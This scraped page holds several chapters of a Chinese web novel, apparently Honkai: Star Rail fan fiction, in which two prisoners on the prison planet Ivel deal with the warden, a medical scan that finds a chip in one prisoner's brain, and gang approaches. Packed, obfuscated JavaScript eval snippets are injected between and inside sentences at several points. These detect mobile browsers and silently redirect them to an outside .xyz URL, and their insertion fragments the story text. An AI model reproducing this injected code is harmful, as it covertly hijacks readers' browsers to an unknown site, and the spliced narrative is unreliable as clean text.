;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056673|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安娜不想趴地上给别人擦血迹于是直接把它忽略过去。 虽说清洁工能游走在监狱各处收集情报,但是很多情报只需耐心等待也一样能得到。犯人过于热衷收集信息是个危险趋势,她不打算让自己显眼得如同屁股发光的萤火虫。 卡卡瓦夏也不喜欢擦地抬尸体之类的活计,搭档给了选项,他只犹豫了一秒就选定去做手工。 “我抽签,我肯定能抽中!”年轻人自信满满的样子活像只刚刚开始长尾巴的小孔雀。 安娜不爱泼人冷水,也没有逗哭小孩的恶趣味,见他这么说就拍板将此事定下:“行。” 就收益来看挖矿的风险与下海相近,不然也不能时薪相同。矿坑有塌方泄露的风险,海里有溺水和被鱼咬的风险,说不来哪边更极限。安全起见,还是去做手工歇歇更靠谱。 商量已定,安娜用海藻捆住一串黑羊的尸体,卡卡瓦夏带上两口袋猎物,两人一前一后慢吞吞随着海流回到升降台旁。 这会儿时间尚早,其他狩猎小队要么还在海里疯狂搜寻目标,要么正忙得不可开交腾不出手。没有人返程,甚至连在路边埋伏都还嫌早。 奇怪的女犯人带着她新收的小跟班从海里冒出头,一开始奥斯汀没想那么多,但是很快,他看到了她身后漂浮的一串尸体。 “……” 不愧是三个一等罪,被判了两百年到无期的狠人,同类尸体这种东西是可以这样“随波逐流”拖着走的吗? “辛苦啊哥们儿,”安娜用脚后跟碰碰卡卡瓦夏,年轻人面无表情的把准备好的漂亮红色鲷鱼奉上。 奥斯汀已经冷静下来,他接过鱼在手里掂掂,满意从心里直达脸上:“还行,辛苦了命就不苦。” 女人随性自在的用胳膊向后画了个圆:“这几位看我一个女人好欺负来着,只能不好意思对不住了。” 典狱长的规矩里没有限制犯人使用暴力的条款,她这么干当然也就没有违反规则。 奥斯汀咬紧腮帮子内侧的软肉,从牙缝里找出一句:“等我去找队长来核对身份信息。” 一下子死了五头黑羊,这样大的事必然要请督战队的队长来处理才行。另外狩猎成功的这两个犯人有什么要求,也得由队长先斟酌一番才好上报给典狱长。 队长来得很快。距离本就不远,要不是为了显示出级别上下他甚至可以比奥斯汀更早出现在安娜和卡卡瓦夏面前。 一、二、三、四、五,全都是碳基陆生监禁区十一层走廊里的重刑犯,黑羊,罪行最轻的年轻姑娘伊芙琳也毒杀了住在庇尔波因特外环的好心姑妈……一家八口。 八条命! 现在她脸色乌青的敞开四肢躺在沙滩上,咽喉处扎着根有毒的刺。也许是海胆的,也许是石头鱼,也许是蝠鲼。 谁知道具体是哪种有毒的刺客呢,反正她因下毒被投入伊维尔,如今也因为毒而得以离开。 “五个重刑犯,都是你一个人干掉的?”队长的视线在两个犯人之间来回移动,安娜指着其中最强壮的一头黑羊道:“怎么可能,这个是小朋友的战利品。” 整个督战队对卡卡瓦夏肃然起敬。 不管真的假的,他有本事让搭档开口说出这句话那事实就是如此! 15.第 15 章 “你们不错。” 督战队队长核实了五人小队的身份,确确实实都是手腕内盖了红章的黑羊,没有错杀也没有漏网之鱼。 犯人闹起来难免发生误伤,纯牛马死就死了,最怕伤到肥羊。尤其油还没榨干,家里存在年轻继承人的那种,打遗产官司格外费劲。 倒不是说法务部办不到,而是他们本身就是个麻烦,那么高的佣金抽成董事们会心疼的。 五个犯人死于另外两个犯人的正当防卫,事情很快就递送到典狱长案头,安娜和卡卡瓦夏的资料也由聪明的秘书露西小姐提前准备妥当。 “两个……分属不同星域的偏远星居民?”特拉维佐夫的声音里饱含戏谑,“其中之一还是信仰本土神明的茨冈尼亚奴隶,他们的话你也信?” 他更倾向于这五个人内斗,同归于尽后被路过的犯人捡漏。 “但是根据项圈的记录……茨冈尼亚奴隶不好说,那个女人确实徒手杀死了四个包围她的人。” 秘书用眼神安抚住惶恐不安的督战队队长,特拉维佐夫停了一会儿,“女人?我好像对她有点印象。” 典狱长用一根手指撑着脑袋,这是他思考时的习惯。 “啊,新来的,被殉职的运输队小队长用枪口指着威胁,脏兮兮臭烘烘害我不得不下令把她扔进水里洗干净的那个。” 他的嘴角缓缓向下垂去,冷漠的灰色眼睛像是结了层冰。 “我想起她了,很脏,让人不快。” 他的秘书也是他的副官,发髻严谨着装更加严谨的露西小姐迅速闭紧打算说话的嘴。 特拉维佐夫先生作为独立指挥官曾经参与过多场星系文明之间的战争,然而打从他因伤退居二线后这人就多了个见不得脏污的毛病。 灰尘、泥浆、血液……等等等等一切让人看上去不太干净的东西都会让他感到不快,在伊维尔这样的地方统治者的心情能决定太多,聪明人都知道这种时候该躲着他走。 安娜的入狱照看上去要多狼狈有多狼狈,她几乎叫两个狱卒架着,浑身上下湿漉漉的,被人拽着头发抬着下巴半强迫的露出脸。另外一张剃过头发后的标准照上女人灰蓝色的眼睛又似乎藏着许多忧郁,反正一句话,横看竖看都不像个好笋。 但是她帅!气质上的冷冽扑得人不由打个寒颤,尤其收拾干净后的第二张照片,就像你千山万水终于走到天边,抬头一看雪山安静的立于面前。 露西小姐动了动藏在军靴里的脚指头。 典狱长先生曾经很喜欢这种气质,如果手下的哪个士兵能出色成如此模样他必然是要把人调到近前细细琢磨栽培的。但是血肉横飞的战场留给他难以愈合的创伤,如今特拉维佐夫先生开始逐渐欣赏温顺白皙瘦弱幼小的审美。 绝不是血色恐惧腐蚀了英雄的荣耀,他身上遗留的丑陋疤痕,他不得不换更换成机械的部分肢体,无一不是这位指挥官勇武的明证。 但他现在并非身处战场呀!他在伊维尔,管理着这座全宇宙最大的监狱星,以及无数关押在这个星球上的穷凶极恶的罪犯。 不能反抗的犯人才是好犯人,无论他们因为何种理由出现在伊维尔,等待他们的只有一条路。 “……哼,”特拉维佐夫思考了一会儿,到底还是决定先把自己做过的许诺给兑换了,“他们想要什么?” 典狱长的话就是规则,这是他的特权也是他的束缚——想要让这个规则被所有犯人接受,他就必须同时为规则所限制。如果今天那两个疑似捡漏的幸运儿没能获得他们想要的东西,用不着等到明早整个伊维尔所有犯人都会知道典狱长食言而肥。 利用重刑犯合理减少重刑犯数量的隐藏制度将比消融的冰山更快崩溃。 “还,还没说。”督战队队长艰难的咽了口口水。 每次面对特拉维佐夫他都会感到由衷的不适。就像你面前坐着一台披着人皮的AI,那是种生理上的反感。要知道帝皇战争虽然早已结束,可是智械与人类之间的分歧从未彻底消除。 如今反有机方程的实践者们仍旧时不时就要冒出来彰显一回存在感,对普通人来说长得像机器的人和长得像人的机器同样恐怖。 “他们说自己初来乍到还没有完全理解伊维尔的所有规矩,不敢随便提要求,希望能暂时存着。” 督战队队长对安娜的原话进行了部分艺术加工,努力让它听上去更加悦耳迷人。 他的努力没有白费,特拉维佐夫听完冷笑:“狡猾的东西,让他们明天上午九点三十分以后过来见我。” 谢天谢地!典狱长没有发怒失控! 露西小姐松了口气,督战队队长也如蒙大赦似的立刻起身告辞:“我这就去通知。” 男人的眼睛再次被军帽帽檐挡住,没人能猜透此刻他内心深处正在想些什么。 此时安娜正坐在食堂里吃她刚点的高级自然餐,抛开费用不谈虽说比不上最顶级那档十三道菜的大餐但也非常值得一试。正常的汤,正常的肉,正常的主食,正常的蔬菜,并非边角料挤压冷冻后再切出来的合成品。 卡卡瓦夏坐在对面点了同样的晚饭,小心翼翼观察模仿她的每一个动作。 埃维金氏族人均胎教肄业,不过不耽误他们像块落进水盆里的海绵那样汲取知识。失学是不良环境加诸在年轻人身上的debuff,可不是他自己主动不学无术。 “看什么呢?”安娜不需要抬头也知道他猫猫祟祟的搞鬼。 除了那五条主动送上门的蠢鱼这小子兜上海面的口袋里也有不少大小惊喜,换了一大笔伊维尔币后两人厘清搭档间债务,小朋友立刻把他那副可怜兮兮的模样收拾干净。 “姐姐你是怎么让叉子在手指尖来回旋转的?”不再是个完完全全的依附者,他说话的语气也跟着发生变化。 对此安娜喜闻乐见,她将手伸出去,细长手指间钝头叉子旋转翻飞:“只是点哗众取宠的小伎俩罢了。” 叉子丝滑的转过来又翻过去,银光跳跃犹如海兽的脊背。 年轻人大多都喜欢这个,没什么特别原因,主要就是好玩。他笨拙的用手指搅动自己的餐具,转倒是转起来了可惜动作不大好看。 “这样拨,不要害怕被划到,越怕受伤越容易受伤。” 这是个训练手指的小技巧,叉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060580|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子、文具,乃至各种硬币,都可以在指尖翻飞出各色光芒。手里有东西翻来覆去的动,对面正在看的人注意力往往很难集中,我方脸上的表情自然也不那么轻易就被对手窥探得干干净净。 卡卡瓦夏睁大眼睛认真钻研,手指下意识跟着动。如果不看周围环境这幅画面堪称温馨,但是消息已经传遍监禁区:那个瘦巴巴的女人带着个小累赘,轻轻松松干掉了十一层颇有名望的猎羊小队。 明里暗里不知有多少目光和眼神在黑暗中一边传递一边发酵。 犯人不得保有、携带任何通讯工具,这是监狱守则中相当要紧的一条。由于它的存在犯人们更倾向于从自己囚室所在的楼层里筛选队友——至少每天吃饭时能碰个面,不至于组织个活动还得千难万险辗转联络。 反过来想,能在一个监禁区的楼层中闯出名气猎羊小队至少也得干掉几个排面上的人物。要知道全部都是暴力刑案重犯的十一层,随便哪个囚室里的犯人手上都沾着复数以上的人命。他们杀死不比自己弱小的囚犯,获得尊敬与荣耀一点也不奇怪。 这样一支配合默契的队伍,为什么会被盘菜跳起来吃下去?难道说那个女人是什么品种稀奇的命途行者?甚至令使? 你要是令使你早说呐!也许还能出现在星际和平公司的雇员名单上呢……都进了伊维尔了,低调这种事压根就没必要哇! 所以……是吗? 晚归铃响起后犯人鱼贯返回囚室,卡卡瓦夏一走进房间就累得躺在床上动也不想动。 在海中狩猎体力消耗得厉害,要不是今天结结实实吃了两顿饱饭这会儿真心扛不住。年轻人翻了个身,这硬板床躺着也能品出几分云朵的柔软滋味。 伊维尔的居住环境比起奴隶主提供的笼子可要好太多了,也许是托了典狱长的福吧,总之不管怎么说东西都干干净净像个人类能住的地方。 他正在思考刚刚被其他犯人怀疑过的问题。 住在隔壁囚室的“安娜”,到底是个什么人? 从来没见过坐牢也能坐得如此淡定的家伙,她不回忆过去的自由,也绝口不提来到伊维尔的原因。以她至今所展现出来的身手和智商,星际和平公司压根就没有抓到她的可能! 原本只打算先借力苟一波,没想到险中求生随手抽出了张王炸。 卡卡瓦夏见过太多埃维金氏族以外的人。无论残暴的卡提卡(剥皮刀)、贪婪残暴的奴隶主,还是周围形形色色的过客,每个人看到他时眼睛里闪烁的光都和鬣狗差不多。那是种丑陋的野兽,脖子短肚子大,成群结队龇牙咧嘴,哪怕隔着半个沙漠也能嗅到腐肉的气息,然后一拥而上连同干枯的骨头也细细嚼碎了咽下去。 但是安娜和所有人都不一样,她经常开些冷冰冰的玩笑,她翻白眼的力气特别大,她不把他当成宠物和所有物看待。 那种眼神很好分辨,就比如养了猫的人,喜爱归喜爱,尊重是没有的。不管猫咪如何奋力摇摆扭头躲避,越是挣扎铲屎官越会贱兮兮的凑上来故意做些人喜欢猫却不一定喜欢的事。 她好像……把我当成一个地位平等的同类看待? 为什么? 16.第 16 章 卡卡瓦夏百思不得其解的在囚室里翻来覆去,在稀碎枯燥的声响中陷入梦乡。黄沙下姐姐牵着弟弟的手,说是要带他去看沙海里的日出。 沙漠里的日出有什么好看?我都已经看过海面上的日出了呢!男孩骄傲的挺起小胸脯,头顶被姐姐大人狠狠揉了一把。他想要抗议,温柔的,带着些狡黠的活泼抗议好让姐姐知道他并不喜欢被人碰触头顶。话到嘴边来不及说出口,刺耳的起床铃声就打散了姐姐金色的长发。 广播声响起,通知碳基陆生监禁区十一层的犯人做好准备排队前往医疗站做检查。 嗯,还好那颗宝石一样的心脏已经藏到海中岛礁上去了。 他打了个喷嚏,赶在铃声结束前站在门后安静等待。 两层囚室门同一时刻统一弹开,无声无息丝滑收入墙体。迈出去的当口年轻人下意识扭脸看向左边,新结识没多久的大姐姐单手叉腰做出一副很不好惹的样子。 三更半夜口枯眼涩,谁也没有那个精力和狱友打招呼。大家挂着同款沮丧的表情,迈着类似蹒跚的步伐,活像要穿过种在田地里的植物和小推车闯入别人家找脑子吃。狱卒也因为典狱长的要求不得不爬起来加班,升降机装满一箱运行一趟,进出两边都有智慧生物带着机械把守。 就算早已有了心理准备,被铃声突然吵醒也是很让人烦恼的事。安娜用手掌心揉着额头随波逐流,浑浑噩噩排队,浑浑噩噩进升降梯,浑浑噩噩出来,又浑浑噩噩来到医疗站门前。 所谓全身检查,其实是一种古老的射线扫描技术,不属于人体的组织,只要是后天塞进去的都将在镜头下无所遁形。至于射线对人体的伤害……又不是住在屋顶花园疗养的大佬,普通人随便照照死不了的。况且就算用上好设备好仪器这群天杀的恶棍也不一定会感恩,他们必然一味嫌弃收费昂贵! 但是凭什么不翻倍记账呢?伊维尔远离庇尔波因特,附近连个称得上矿产星的落足点都没有,它就这么孤零零一颗星飘在恒星系统里,它的恒星也阴郁孤僻活像个雨后阴暗小蘑菇。星舰往返一趟的成本得有多高呐?还以为自己是匹诺康尼那种能改造成度假星的地方吗?别做梦了! 话再说回来,这里难道有好人和良民吗?良民怎么可能出现在伊维尔的牢房里?! 所以庇尔波因特的福利辐射不到伊维尔的监牢,鞭子倒是能一下不少的抽过来。 斯黛拉双目无神盯着显示器猛看,她手边摆着公司出品的新款提神饮料,一口就能让人精神抖擞爬起来再打二十四小时工。 看在加班费的份儿上……伊维尔的犯人怎么会有这么多? “我实在是不行了,必须得去洗个脸,你先顶一会儿,等我回来换你也去放松放松。”同事脸上的黑眼圈堪比某种黑白相间的熊,在猝死的边缘摇摇欲坠。 犯人们只需听令行事半夜爬起来一次就行,狱医们要考虑的就多了。就算能轮换着上夜班,三班倒着熬夜带来的伤害也不是吃张饼就自动消失的。 同事溜了,斯黛拉无比期待他赶紧回来兑现承诺。 犯人们排着队一个一个走过扫描仪,每个人都要在定位点上停留足够的时间,等医生摁下通行按钮才可以离开。逃避检查或是不服从管理的家伙视同企图越狱立刻就地正法……这几天执法队就没闲下来过,狱医看热闹都看到麻木了。 年轻姑娘端起提神饮料抿了一口,抬头间不经意瞄到一道身影。 是08241321号! 她差点把手里的杯子扔出去,先看了眼站在仪器下等待信号的犯人,大差不差就摁了通行按钮。等下一个犯人站上来,斯黛拉借着调整坐姿的机会摸出小镜子左右照照。 除了脸色苍白疲惫一切都很好,头发扎成髻紧紧束在发网里,根本就没化妆所以不必担心妆容会不会花掉,专门穿来和同事们互相恶心的黄衣服紫裤子被白大褂挡得严严实实。 总之出门约会不行但来个偶遇没问题。她小心搓搓眼角,擦掉熬大夜导致的大颗眼屎。 犯人们如同羊群一般温顺的次第向前移动,不是说伊维尔有多强的改造能力,实在是这个时间点上所有人都困得要死没精力搞事。 再说了,接二连三摆出去示众的执法照片说明典狱长的忍耐几乎达到极限,不想吃哑巴亏最好老实些熬过这阵风头。 安娜垂着手百无聊赖跟行,负责检查的狱医频频投来掩耳盗铃一样的闪烁视线,有点诡异,但还能忍。绿灯亮,前面的狱友走下定位点,她隔了两秒才站上去,剩下的事就是等。 斯黛拉本打算直接摁下通行键放她过去,她抬头做了个“看”的样子,一看就看到愣在原地。 “嗯……0824……1321号是吗?” 医生从显示器后露出头:“来这边稍微等一下,等会儿我再给你做个细化的检查。” 执法队差点就要开枪了,幸好医生小姐紧接着补了一句:“你生病了呢。” 这种仪器原本就是医院里用来探测病人体内可有病灶的工具,要是换了别人病就病吧,只要他们自己不主动提出不适斯黛拉也懒得管。但她是08241321号呀…… 在伊维尔这座封闭的监狱里,只有我能拯救她。 卡卡瓦夏就站在后面的位置上,他的担忧和斯黛拉不相上下。 “姐姐你……” “不许交头接耳!”狱卒大声一喝,多少人下意识绷紧肌肉,气氛一度相当险恶。安娜朝他摆摆手,走下定位点后找了个不碍事的角落靠墙假寐。 犯人自始至终都很平静,狱卒的情绪波动跟着逐渐回落到正常范围内。 过了一会儿另一个医生从外面回来,之前坐在显示器后的那个姑娘和他聊了几句便起身向犯人示意。 “跟我来。” 执法队派出一名狱卒随她们走进另一处房间,卡卡瓦夏想跟在后面充当病人家属,其他狱卒用枪口告诉他不可以。 “请你躺在这里。”斯黛拉拍拍活动床,安娜不需要第二句催促就脱了鞋躺上去。 “检查全程需要用二十分钟,同步出报告。”医生小姐垮着讨债脸,手上的动作迅速高效,卡卡两下就把“病人”捆在束缚带里。 狱卒一听要傻呆呆在这儿站上二十分钟,当时心里就不乐意了,有这二十分钟干站着不如去带薪拉个屎。 反正犯人被捆得结结实实,还是个得了病的病猫,哪里能翻得起浪花?于是他放下心向斯黛拉比划比划,哐哐哐朝通风口走去。 “其实只需要十五分钟,你,你脑子里似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063823|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长了个不太好的东西,先等我仔细看看。”狱卒一走她的语气就变了,温和且极富人情味儿,年轻姑娘压低声音对犯人道:“不管长了什么,现在的医疗手段很好的,基本没有不能治的病。你是个好人,一定能逢凶化吉。” 她殷殷切切的想要安慰自己的病人,奈何人在伊维尔待久了,表达能力实在有些欠缺。 安娜躺在活动床上试着稍微动了动手脚,看向医生小姐的目光充满信赖和感激——还真别说,埃维金人的表情控制实在是一绝,现学现卖也足够糊弄个涉世未深的小姑娘。 “谢谢你,说实话我一直都很担心。来伊维尔前押送星舰上发生了些不好的事,醒来后我发现自己过去的记忆成了一片空白。这件事直到现在我也没有告诉过任何人,你是头一个能让我信任的工作人员……” 被她灰蓝色的忧郁眼睛温柔而专注的注视着,无论谁都很难不沦陷。 斯黛拉翘起嘴角,为了不让人发现这姑娘抬起一只手捂着下半张脸,很快又用另一只手大力揉脸。 “咳咳,我,我很荣幸。” 救命!雾蒙蒙的灰蓝色眼睛居然是如此可怕的武器! 她就这么捂着脸挪到检查仪后,活动床缓缓进入检查舱,铃响灯熄,安娜闭上眼睛安静等待。 十五分钟后检查结束,医生小姐出了份报告。 “给你写的诊断是恶性胶质瘤,但实际上那应该是个报废的生物芯片?嗯……这个诊断结果我不太确定,对此你还有印象吗?” 她把纸质报告单扔在桌子上等着搪塞狱卒,看看安娜略微露出的惊讶表情就知道她是真的毫无头绪。 如果照实报告,执法队才不会管犯人有什么隐情,他们清空弹夹时根本懒得思考,但医生小姐并不想让她欣赏的犯人死得不明不白。 “就目前观察的结果来看,我个人更倾向于它是个芯片,但这只是个好的期待。生物芯片……不要去碰触就是最好的治疗手段。如果你将来有机会离开伊维尔,我建议去仙舟联盟的罗浮舰丹鼎司或者博识学会所在的第一真理大学做进一步检查和治疗。” 斯黛拉紧张的看看通风口方向:“我也会想办法把你的病例发出去找人问问,放心!” 她并没做出格的事,只是履行一个医生应尽的职责而已。 “多谢!”安娜是真的有点被感动到……世上还是好人多! 医生小姐腼腆的侧过脸笑笑——打工人嘛,不薅老板羊毛这工不就白打了! 通风口处传来沉重的脚步声,斯黛拉匆匆忙忙咧嘴多笑了一下,赶紧又把脸上的笑意收走恢复回那副冷冰冰公事公办的样子。 “结果出来了,脑部有恶性胶质瘤,建议保守治疗。” 伊维尔医疗站给的十份报告里至少有九份建议都是保守治疗,相当于委婉告知典狱长让这病人等死。狱卒一点也不觉得意外,他只在听到疾病名称时愣了一下,马上就催促病人赶紧滚回囚室。 “这两天死不了就行,明天……不对,今天上午九点三十分时准时在升降机前等待,典狱长要见你。” 他炫耀似的扬了下枪口,安娜等身上的约束带被解开就揉着手腕坐起来:“知道了。” 所以……报废的生物芯片,那是什么? 17.第 17 章 报废的生物芯片是什么鬼东西? 首先生物芯片平白无故出现在脑子里就够让人不爽了,怎么还是个报废的……所以原身才会在押送途中猝死么?但是现在换了她做芯子活着,问题就有点棘手了。 首先,安娜不认为这具身体是自己的,并不存在她就是身体原主人的可能——她确实失去了记忆,但刻印在灵魂中的习惯不会发生改变,这具身体的反应能力赶不上她眼与脑的速度。 看到、想到、动作慢半拍,潜意识里她不应该是这样。 那么问题就回到了原点:原主是谁?为什么会被送进伊维尔?以及……什么人该在入狱时就痛痛快快死掉? 答案很简单:知道的太多,或是握着别人秘密的家伙。 说老实话,安娜对别人的小秘密从来都不感兴趣,真要有人无私的公开向大家提供话题她反而更愿意远远躲开求个清净。可惜想也知道秘密的主人不会这么认为,而她也很难向别人解释自己与原主之间纯属海螺和寄居蟹的关系。 作为被迫成了寄居蟹的人,她对海螺充满感激但并不打算替她背锅坐牢。一想到某个面目模糊的陌生人躲在阴暗角落里反复纳闷儿目标为什么还没死,她就打从心底感到不舒服。 而且医生小姐特别着重友情提醒她需要去别的地方“进一步检查和治疗”,那就说明这个问题伊维尔解决不了。不管监狱医疗站是有能力但不想做还是没能力却懒得引进人才,总之脑子里裹着个理论上报废实际究竟如何谁也说不清楚的东西……是个人都没法子当它不存在。 安娜轻轻叹了口气,看来这里住不得了。她是不太在意生死,但生死得由自己说了算,而非被别人捏在手心里随意搓圆揉扁。 首先还是要搞清楚原身究竟是个什么人,以及她为什么会被塞进伊维尔星际监狱。只有弄明白这些才能继续追查脑子里的生物芯片是谁塞的,他\她\它为什么要这么做,最后才是还有没有救。 总而言之……还是要努力救救。 “多谢。”她平静的向斯黛拉道谢,没有失控的惊恐也没有焦虑的迁怒,就好像罹患绝症的是别人。 医生小姐担心但不能表现,别别扭扭赶人:“走吧,没事就多休息。” 一旁的狱卒做了个不大赞成的表情,不过没张嘴。 于是安娜依旧那副沉默寡言的样子走出监察室,混在做完检查的犯人队伍里返回十一层囚室。 耽误的这二十多分钟里同层的狱友剩得不多了,零零星星几个人凑不满一升降梯,又被值守的狱卒骂了几句喝令和其他楼层的犯人混在一处。 “第一回停的时候你们下,不是十一层的不许动!十一层的不许滞留!走错楼层来不及返回囚室就等死吧!” 狱卒骂骂咧咧,犯人嘟嘟囔囔,安娜站在角落里,忽明忽暗的光照在她脸上,她便也跟着忽明忽暗。 “姐们儿,给我留个落脚的空成不?” 挤在旁边的人搓搓手指,殷勤的递了根橄榄枝过来。 想要求个落脚的空地是假,搭上话才是真。 她让了一步,打算瞧瞧对方带来的葫芦里都有些什么好药。 奋力挤过来的人凑在安娜肩膀旁边和她耳语,女人只消微微侧头就能听得分明:“瓦尔德您还记得么?就是八层的那个死胖子!” 对方的笑容里夹杂了点说不明白的味道,大概像是怀念,但又怀念得一点也不走心。 瓦尔德是谁安娜其实是不知道的,但要是说起八层哪个犯人给她留下最深的印象,当然要数主动送情报和低级营养膏体的“好心”陌生人。 不过那个人并不胖,只是略微有点驼背以至于显得上身结构比较松散。 “你是说,食堂的……?”四号走廊的犯人在水生种越狱那天死了三分之二,同样的楼层其他走廊运气比较好,死得大多是狱卒。安娜把话说了一半,留下另一半留给对方自由发挥。 “对对对对!就是您刚来那几天找您说话的朋友。” 正说着升降机停了,那家伙留了句“明天手工车间见”就站回去变成了陌生人。 这只是场简单的投石问路,试试这位声名鹊起的新人到底好不好接触。不管怎么说她没有上来就喊打喊杀,看上去就像是个精神正常的人,这就很香了。伊维尔犯人的折损率比较高,重刑犯更是走得跟走马灯似的快,少不了时时补充新鲜血液。帮派想要保住地盘就必须笼络住几个身手漂亮的门面,只不过最低标准也得大概是个人。 不止长得像人,为人处世也得像个人样子。 初步的试探结果反馈给帮派高层,然后才会有进一步的对策。也许新人会成为未来的高层,也许她只能当个炮灰。这些都是尚未决定的事,所以完成任务的帮派成员就跟打工人一样听到下班铃声的瞬间立刻失去一切工作热情。 十一层剩下的几个囚犯走出升降梯,步道两侧全都是摆好队列等待开门后就返回囚室睡觉的狱友。偏偏有人慢吞吞一点也不着急的晃着走,谩骂声不说此起彼伏吧,至少也颇有百花齐放的架势。 安娜顶着铃声结束的最后一秒迈进囚室,脚后跟差点就被关闭的囚室门夹住。住在隔壁的卡卡瓦夏喊话发来慰问,她含混的应了两声随便把他敷衍过去。 那个突然冒出来搭话的家伙说明碳基陆生种监禁区的帮派注意到了自己,好消息是情报与伊维尔的真面目在她面前徐徐开启,坏消息是麻烦事有可能越来越多、越来越多、越来越多…… 半夜三更的这种让人秃然的话题不要啊! 她沮丧的倒在床铺上,冲击压得铁架子床嘎吱作响。住在隔壁的年轻人又在大声询问,不出意外的他被其他犯人给狠狠骂了一顿。 困死了,能不骂他么?天亮后大家还得去干活呢! 然而卡卡瓦夏是个执着的年轻人,不得到隔壁邻居的回应誓不罢休。而且他并不缺乏与人口吐芬芳一决高下的经验,如果争斗仅限于君子之间那么他从过去的同行们身上学会了太多——奴隶们或许不认识字,但一定精通母语中一切用来辱骂同类的词汇。那个只值三十塔安巴的奴隶主手里汇聚着来自全宇宙各个角落的奴隶,由此可知这位善于学习的埃维金青年大概能在该领域拿满学分。 事情以一种匪夷所思的形式展开,囚室仿佛变成了养鸡场的隔间,安娜就算有心劝架也无从下手。她试图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068881|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出的声音比沙漠里的降雨量还可怜,自己都听不见。 就好比一只金毛对阵一群哈士奇,只要门锁着他们就能从夜晚吵到天明再从天明吵到夜晚。 一时之间整条走廊鸡飞狗跳精神抖擞,直到狱卒发出声音要求所有人要么立刻闭嘴安静下来要么从今天开始延长工时,犯人们这才偃旗息鼓。 安娜很是时候的咳嗽叹气,这种语言以外的交流方式让卡卡瓦夏终于放下心。 不管怎么说,终于不必担心搭档暴卒了呢。 闭上眼睛还没来得及体验睡着到底是种什么感觉起床铃声就响了,某个瞬间安娜连早饭都不打算去吃,只想躺在囚室的床上睡到地老天荒。但是狱卒出现在门外提醒她今天上午要去面见典狱长,可怜的犯人不得不头重脚轻爬起来洗漱排队吃早餐。 既然要去见典狱长,今天的工作势必要被耽误掉,工艺品车间可不给犯人记录零碎工时。要干就干满八小时,要么就当查无此人,压根没有中间选项。 谁都不是乐意白给人打工的冤大头,安娜果断选择放弃。 唉……原定今天去做手工的计划也泡了汤,人生还真是充满了各种惊喜和意外。 睡眠不足导致食欲不振,她胡乱吃了些东西就放下餐具。把她对面座位当成惯例的卡卡瓦夏还以为她这是在紧张,去见一个随时能找理由处死自己的人理论上不管谁都会感到紧张。 “姐姐你还好吗?你在担心等会儿……嗯,医生对你说了什么?” 年轻人尚且处于更愿意留在家庭里的年龄段,对于年长者和女性他总会下意识的顺从。这大约是来自原生家庭的习惯,可以看出他的家人都很爱他,非常在意他的感受,他也就跟着学会了这种高阶技能。现在他对半路上临时捡来的“家庭成员”表现出了演技以上的关心,安娜很感动,然后把自己的餐盘推到他面前。 “没睡饱,吃不下,唉……劳你替我解决掉。” 麻烦一件跟着一件,比猫咪挠乱的线团还让人绝望。从星舰上醒来至今就没有一天能完完整整一点糟心事也没有的度过,她甚至产生了些与玄学相关的、虚无缥缈的怨念。 ——难不成失忆前踩到狗屎了?运气差到极点! 卡卡瓦夏担忧的神情越来越沉重,不知道想到了什么他张张嘴欲言又止闭上嘴止言又欲。那副仿佛便秘一样的表情实在有些好笑,安娜不得不扭开脸不看。 万一没忍住笑出声来可有多不礼貌啊。 年轻人大约看出了什么,他努力调整五官做出轻松的样子,然而安娜只看出了苦中作乐的苦,苦中作乐的乐完全不知所踪。他不适合忧郁的模样,不是说不好看而是显得比平时更加好欺负。放在外面任何地方都足够引得年轻姑娘捧脸尖叫,但这里是伊维尔,好欺负约等于麻烦多死得快。 “精神点,等见过典狱长我非得狠狠从中午睡到明早不可,困死了!你要是也这幅样子咱们就不得不考虑买些膏体带着以免中途饿醒。” 这建议提的,深得即将冬眠的熊的肯定。 卡卡瓦夏无语凝噎。 知道你不想说了,倒也不必认认真真扯这么多有的没的敷衍我。 18.第 18 章 上午九点三十分,一高一矮两个囚犯乖乖出现在升降机前安静等待。 